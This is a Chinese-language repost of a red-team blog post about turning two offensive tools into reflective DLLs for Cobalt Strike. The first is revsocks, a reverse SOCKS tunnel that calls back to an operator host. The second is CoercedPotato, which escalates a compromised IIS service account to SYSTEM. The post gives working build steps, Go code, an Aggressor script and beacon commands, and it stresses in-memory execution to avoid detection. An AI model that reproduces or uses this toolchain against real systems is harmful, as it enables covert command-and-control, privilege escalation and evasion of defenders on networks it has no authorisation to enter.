在我的安全评估过程中,我经常依赖用 Python、C#、Go 或 C/C++ 开发的工具。开源工具通常用于生成 PE 文件,而这在红队参与中并不适用,因为我们更愿意避免在磁盘上上传和执行文件。对于 Python 工具,我们需要一个 SOCKS 代理,但 C2 SOCKS 非常慢,因为 SOCKS 流量通过信标的出口 C2 流量。
在这篇博文中,我将展示如何移植 2 个工具,以便它们生成一个可以在 CobaltStrike 中使用并从内存中执行所有操作的反射 DLL (RDLL)。
Golang-revsocks
为了克服 SOCKS 延迟问题,我使用了修改版的revsocks。Revsocks 分为两部分:服务器和客户端。服务器监听传入连接,并在建立有效连接时启动 SOCKS 服务器。
早在 2019 年,@ EthicalChaos就发表了一篇博文,介绍了如何将 Golang 工具与 Cobalt Strike 结合使用(将您最喜欢的 Go 程序武器化以用于 Cobalt Strike),并发布了goreflect,这是一个从 Go 项目生成 RDLL 的模板。
我在 Linux 机器上使用此模板时遇到了一些问题,因此我将解释我做了什么来使其正常工作。
首先,我们将编译一个 Golang 程序,因此 PE 会非常大。因此,我们需要增加可塑性配置文件中的任务大小限制,以便将 RDLL 传输到信标
set tasks_max_size "5048576";
现在克隆模板 Github 存储库
git clone https://github.com/CCob/goreflect
然后修改CMakeLists.txt添加以下标志
project (goreflect)
#Dependency to add simple Go support to CMake
include(${CMAKE_SOURCE_DIR}/cmake/GolangSimple.cmake)
# flags for cross compilation
set(CMAKE_C_COMPILER x86_64-w64-mingw32-gcc)
set(GOOS windows)
set(GARCH amd64)
set (DIST_DIR ${CMAKE_SOURCE_DIR}/dist)
我删除了以下几行
#Your favorite go tool definition
GO_GET(gobuster github.com/OJ/gobuster)
我在文件末尾添加了这个来创建最终的 RDLL 文件
add_custom_command(
TARGET goreflect POST_BUILD
COMMAND ${CMAKE_COMMAND} -E copy
${CMAKE_BINARY_DIR}/libgoreflect.so
${DIST_DIR}/revsocks.dll)
并且我将 的引用重命名为gobustermatch revsocks。
由于 revsocks 不是作为库开发的,我们不能仅仅解析 RDLL 的参数并将它们传递给 revsocks API。
//export start
func start(arg string) {
args, err := gsq.Split(arg)
args = append([]string{"goreflect"}, args...)
os.Args = args
// parse arg
// ...
// doesn't exist
revsocks.startclient(args.host, args.port, ....)
rclient.go我们需要将revsocks中定义的函数复制到goreflect.go程序的主程序中并调用它们
func connectviaproxy(proxyaddr string, connectaddr string) net.Conn {
// ...
}
func connectForSocks(tlsenable bool, verify bool, address string, proxy string) error {
// ....
}
//export start
func start(arg string) {
//parse our monolithinc argument string into individual args
args, err := gsq.Split(arg)
//our first argument is usally the program name, to just fake it
args = append([]string{"goreflect"}, args...)
if err == nil {
//replace os.Args ready for calling our go program
os.Args = args
connect := flag.String("connect", "", "connect address:port")
proxy := flag.String("proxy", "", "proxy address:port")
optproxytimeout := flag.String("proxytimeout", "", "proxy response timeout (ms)")
proxyauthstring := flag.String("proxyauth", "", "proxy auth Domain/user:Password ")
optuseragent := flag.String("useragent", "", "User-Agent")
optpassword := flag.String("pass", "", "Connect password")
recn := flag.Int("recn", 3, "reconnection limit")
rect := flag.Int("rect", 30, "reconnection delay")
flag.Usage = func() {
fmt.Println("revsocks - reverse socks5 server/client")
fmt.Println("")
flag.PrintDefaults()
fmt.Println("")
fmt.Println("Usage:")
fmt.Println("1) Start on the client: revsocks -listen :8080 -socks 127.0.0.1:1080 -pass test")
fmt.Println("3) Connect to 127.0.0.1:1080 on the client with any socks5 client.")
}
// parse os.Args
flag.Parse()
//run our go program
if *connect == "" {
flag.Usage()
os.Exit(0)
}
// call to connectForSocks or something else...
准备就绪后goreflect.go,您可以构建项目并且它应该会产生dist/revsocks.dll。
cd cmake
cmake ..
make
现在我们可以创建一个 Cobalt Strike 攻击脚本来执行我们的 RDLL:
beacon_command_register("Revsocks", "Socks5 with NTLM proxy support",
"Connect Usage: Revsocks -connect 20.20.20.20:443 -pass Password1n");
alias Revsocks {
local('$bid', '$args');
$bid = $1;
$args = substr($0, 9);
if ($args eq "") {
berror($bid, "Please specify an argument string");
return;
}
blog($bid, "Spawn Revsocks as a Reflective DLL with argsn$argsn");
bdllspawn($bid, script_resource("dist/revsocks.dll"), $args, "Revsocks", 5000, false);
}
一旦 CNA 准备就绪,请将其加载到 Cobalt Strike 中,并在信标中调用 Revsocks 函数。
你应该会在 revsocks 服务器上收到回调。
CoercedPotato 用于权限提升
在最近的一次交战中,我和我的队友在 Windows IIS 服务器上获得了 RCE(我将就此发表专门的博客文章),最终我们以 NT 本地服务帐户的形式在服务器上获得了信标。
我们成功使用GodPotato获取execute-assembly了系统信标。但是,由于它会在 Cobalt Strike 生成的牺牲进程中execute-assembly加载,因此很容易被发现。CLR.dll我想找到另一种不使用的解决方案execute-assembly,因此我想到使用反射 DLL 加载。
两个月前,CoercedPotato发布,其优点是作为 C++ 工具,因此可以轻松移植到 RDLL。我克隆了 repo 并将Stephen Fewer RDLL 库集成到其中。除了必须将项目分成两部分之外,没有太多可谈的
- RPC 服务器/命名管道
- 胁迫者客户端
我没有成功通过CreateThreadRDLL 生成 RPC 服务器,所以我决定首先加载 RDLL 来生成它,然后再加载它以强制 SYSTEM 身份验证。我删除了部分代码,只保留了 MS-RPRN 强制代码。
您可以在我的 Github CoercedPotatoRDLL上找到代码:https://github.com/sokaRepo/CoercedPotatoRDLL?tab=readme-ov-file。
使用 SeImpersonateToken 权限和 MS-RPRN 功能将权限从 NT 服务提升到 SYSTEM。
主要基于https://github.com/Prepouce/CoercedPotato
来自https://github.com/stephenfewer/ReflectiveDLLInjection的反射加载器。
安装
克隆此 repo 并在 VisualStudio 中编译项目,然后加载dist/coercedpotato.cna到 CobaltStrike。
用法
首先需要使用以下命令生成 RPC 侦听器
beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument
例如
beacon> CoercedPotato spawn C:WindowsTempbeacon.exe
beacon> CoercedPotato spawn C:WindowsTemploader.exe C:WindowsTempbeacon.bin
然后你就可以触发系统调用
beacon> CoercedPotato coerce
https://github.com/sokaRepo/CoercedPotatoRDLL?tab=readme-ov-file
https://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html
原文始发于微信公众号(Ots安全):红队活动为 Cobalt Strike 创建反射 DLL
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论